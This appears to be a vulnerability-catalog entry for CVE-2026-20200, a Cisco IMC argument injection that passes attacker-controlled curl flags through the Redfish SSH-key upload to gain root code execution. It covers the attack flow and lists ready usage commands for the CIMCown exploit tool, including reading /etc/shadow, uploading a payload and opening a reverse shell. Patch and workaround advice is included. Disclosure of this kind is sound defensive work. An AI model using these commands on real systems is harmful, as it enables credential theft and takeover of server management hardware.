Cisco IMC Argument Injection to Root RCE (CVE-2026-20200)

Published: 2026-08-16 • Researcher: Christoph Peil (NSIDE ATTACK LOGIC)

Target software Cisco Integrated Management Controller (CIMC)

Affected versions Vulnerable versions prior to Cisco fix

Status Patched

Severity Critical · CVSS 9.9

CVSS 9.9/10

Severity: Critical
CVE: CVE-2026-20200 / NSIDE-SA-2026-003
Category: network
Affected product: Cisco Integrated Management Controller (CIMC)
Affected versions: Vulnerable versions prior to Cisco fix
Disclosed: 2026-08-16
Patch status: Patched

Metadata

Field	Value
Date Added	2026-08-16
Last Updated	2026-08-16
Author / Researcher	Christoph Peil (NSIDE ATTACK LOGIC)
CVE / Advisory	CVE-2026-20200 / NSIDE-SA-2026-003
Category	network
Severity	Critical
CVSS Score	9.9 (NSIDE) / 8.8 (Cisco)
Status	Patched
Tags	cisco, imc, cimc, argument-injection, rce, redfish, curl, reverse-shell, arm, file-read, file-write, CVE-2026-20200

Affected Target

Field	Value
Software / System	Cisco Integrated Management Controller (CIMC)
Versions Affected	Vulnerable versions prior to Cisco fix
Language / Platform	Python 3 (exploit), Go (reverse shell), ARM cross-compiled
Authentication Required	Yes – valid CIMC credentials
Network Access Required	Remote – HTTPS access to CIMC management interface

Summary

CVE-2026-20200 is an argument injection vulnerability in Cisco IMC that allows an authenticated user to achieve root-level RCE. The Redfish API SSH key upload handler (ManagerAccount.UploadSSHKey) passes the KeyURI parameter to curl without sanitization. An attacker injects additional curl arguments to read arbitrary files, write to arbitrary paths, and load shared libraries – achieving full command execution on the ARM-based CIMC.

The exploit tool (CIMCown) supports file download, upload, reverse shell build (Go cross-compiled for ARM), and full reverse shell chain via curl --engine.

Vulnerability Details

Root Cause

The CIMC Redfish API handler constructs a curl command using the KeyURI parameter without sanitizing curl-specific arguments. Injecting -o writes files, -X POST --data-binary @file exfiltrates contents, and --engine loads a shared library.

Attack Flow

Authenticate: Log in to CIMC, obtain session cookie and SID
File download: Inject --data-binary @<file> to exfiltrate to attacker HTTP server
File upload: Inject -o <path> to write attacker-hosted file to CIMC filesystem
Reverse shell: Upload ARM Go binary + loader library, inject --engine to execute

Impact

Authenticated root-level remote code execution on CIMC
Arbitrary file read/write on the management controller
Full reverse shell access
Scope change: CIMC compromise may affect managed server hardware

Environment / Lab Setup

Shell script

1
2
3
4
pip install -r requirements.txt
sudo apt install golang-go  # for building reverse shell

python3 CIMCown.py -U admin -P password -t 192.168.10.2 -a test

Proof of Concept

Source files mirrored from NSIDE-ATTACK-LOGIC/CIMCown.

Key Files

File	Purpose
CIMCown.py	Main exploit – argument injection via Redfish API (448 lines)
authentication.py	CIMC login/logout with AES-encrypted credentials (147 lines)
util.py	Helper functions, Go reverse shell build, curl queries (193 lines)
fileserver.py	HTTP server for file transfer (124 lines)
shell/reverse_shell.go.example	Go reverse shell template for ARM cross-compilation
shell/lib.so	Pre-compiled ARM loader library (7KB)
shell/revshell	Pre-compiled ARM Go reverse shell (3.2MB)

Actions

Shell script

1
2
3
4
5
6
7
8
9
python3 CIMCown.py -U admin -P cisco -t 10.0.0.1 -a test

python3 CIMCown.py -U admin -P cisco -t 10.0.0.1 -a download -d /etc/shadow

python3 CIMCown.py -U admin -P cisco -t 10.0.0.1 -a upload -u ./payload -p /tmp/payload

python3 CIMCown.py -U admin -P cisco -t 10.0.0.1 -a build

python3 CIMCown.py -U admin -P cisco -t 10.0.0.1 -a shell

Detection and Indicators of Compromise

Output

Remediation

Action	Detail
Patch	Apply the Cisco security update for CVE-2026-20200.
Workaround	Restrict CIMC management access to trusted networks. Use strong credentials. Monitor Redfish API access logs.
Verification	Test with `-a test` action against patched CIMC.

References

Notes

All Python source files screened (CIMCown.py, authentication.py, util.py, fileserver.py). Authentication code derived from Nettitude CVE-2024-20356 work (acknowledged in source). Dependencies: pycryptodomex, requests, urllib3. All network activity directed at user-specified target or local HTTP server for file transfer.

BINARY CAVEAT: shell/ directory contains pre-compiled ARM binaries – lib.so (7KB, calls execl to chmod+exec /tmp/main), revshell (3.2MB, Go reverse shell), socat (885KB). Source template provided for the Go shell (reverse_shell.go.example). The lib.so source is inline in util.py buildLib() function. Author is NSIDE ATTACK LOGIC, a legitimate German offensive security firm.

No obfuscation, no unexpected remote connections, no credential exfiltration beyond intended functionality.